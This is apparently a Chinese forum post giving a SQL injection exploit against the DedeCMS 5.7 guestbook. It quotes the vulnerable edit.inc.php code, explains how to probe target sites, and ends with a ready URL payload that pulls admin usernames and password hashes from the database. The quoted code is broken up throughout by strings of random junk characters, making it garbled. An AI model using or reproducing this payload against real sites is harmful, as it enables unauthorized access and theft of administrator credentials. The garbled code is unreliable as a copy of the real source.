dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

漏洞文件edit.inc.php具体代码：

< ?php  

7 u; ]$ D. Z7 u" [! B' a1 k/ v  @if(!defined('DEDEINC')) exit('Request Error!');  

   
- _$ T% d6 W7 o# T* `, m# G
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  

4 u4 p2 B* _) I9 `, {2 B& d   
6 M% U& |' {  S& V) |. U1 T! p
$id = intval($id);  
" Q3 n5 W' d, l) V* V
& d5 x* G$ f0 ~2 N, B0 C6 h" fif(empty($job)) $job='view';  
) d2 J( u  b- J# u( |" h
0 ^1 q; e0 X. z- [   

if($job=='del' && $g_isadmin)  
; x8 B1 l7 d  g2 z
% Y8 P% m$ S8 e; h{  
( M5 i' _, ]: A* K, o
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
5 P$ m4 x! n0 Q  N2 e, _4 C, f
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
: q. S5 O6 ^) t9 W5 h( A
exit();  
/ Z' x' E2 N+ e2 j; @: W
}  

3 D1 U. G. ^* b0 Uelse if($job=='check' && $g_isadmin)  

{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

) _. o6 E$ A8 }1 F0 F1 [; e& {1 \- LShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

exit();  
& k4 O/ G& {) h4 C& ^4 _5 W
}  
/ t' Q0 n& j) `4 v: W
4 s: U" W  F* j4 b* @else if($job=='editok')  
8 e7 O- t3 O2 Y0 A( j' m
{  

8 l" `( E" _) `# _. a8 `$remsg = trim($remsg);  
; Y1 G. k$ Z) O% Z  X/ s
0 i. b8 D6 i- B9 ^1 l8 G4 J* Lif($remsg!='')  
* h+ {: ~* E$ k2 v* |4 t$ Z
! h5 X- D" O& N* B{  

- @# t7 h6 [7 w! C" C0 K1 b1 p//管理员回复不过滤HTML By:Errorera blog:errs.cc  

; y+ ~5 F1 ~5 f5 x$ q* j6 J0 rif($g_isadmin)  

/ J1 T/ r. K# L6 X) l{  
2 e2 x* b% l5 N! T  D
: K6 f, G* D5 L$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  
( r, Z8 _0 t. Z5 A$ G
else
" }4 Q8 T3 N5 {4 y3 D# e
0 w, T0 V2 b( ]{  
1 D4 A5 H, U2 Q3 q8 U  Y
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

! _4 @& F% }" t, w( R$ P$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  
, T$ B" f9 n, p6 M, R; f, t) g0 e
+ i2 e9 }  \+ t; t" F" n# r}  

) O' g( g  r: |( `" S7 P! a* w}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
- H( X$ c! @' ?$ G- a9 ^" T$ Z
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
2 ~% O4 I0 v7 B! t; O$ w+ m
" E8 g& S+ C/ L9 o7 f7 z6 fShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
; |$ Q# _( n0 U. f! D" p, o1 z) g
9 d& l1 `: O2 ]$ m. W5 ~exit();  

}  
7 s+ h% C& U; Y& c0 a; i3 a% Y  ]2 O
//home:www.errs.cc  
0 a; G# r8 y9 P# L
if($g_isadmin)  
. b' d9 j, `0 R+ s  q
& `( J9 m1 W% b# [0 x; w( B{  

# H$ l1 p/ `% }2 p% _$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
7 I, C8 y4 Z* I' ?
. a% L( V* E) u3 |: ^require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  

8 I3 t6 q( |& u: ^9 J5 k/ S: |# Oelse
4 U% }( f# ?' ~* f
{  

6 t, a$ \; L* h- o( j5 Y$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

6 X- Q. r; [8 t; X$ V1 prequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
; a' ^) B# |( W- N8 w
$ k8 a, B9 A6 k- f2 e/ A+ k} 漏洞成功需要条件：
& j# ^/ K2 }3 H& l8 z' ]$ ?8 K1. php magic_quotes_gpc=off
/ t- J. z( o4 }7 f2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

# l+ d7 l8 \' I8 b3 Z- t3 e0 d怎么判断是否存在漏洞：
6 E8 C4 X' R" _" y先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
! s- k( m: o7 H访问：

www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

3 g+ V" ]( }  ]6 L0 V& I* T大概利用就是这样，大家有兴趣的多研究下！！
/ `6 ]5 ~+ A2 ~5 \5 q& o3 l0 w7 H3 t
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
4 R1 h3 |3 w' x) B( `# W
- W6 D- V6 N  X. \  O$ ], ~view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='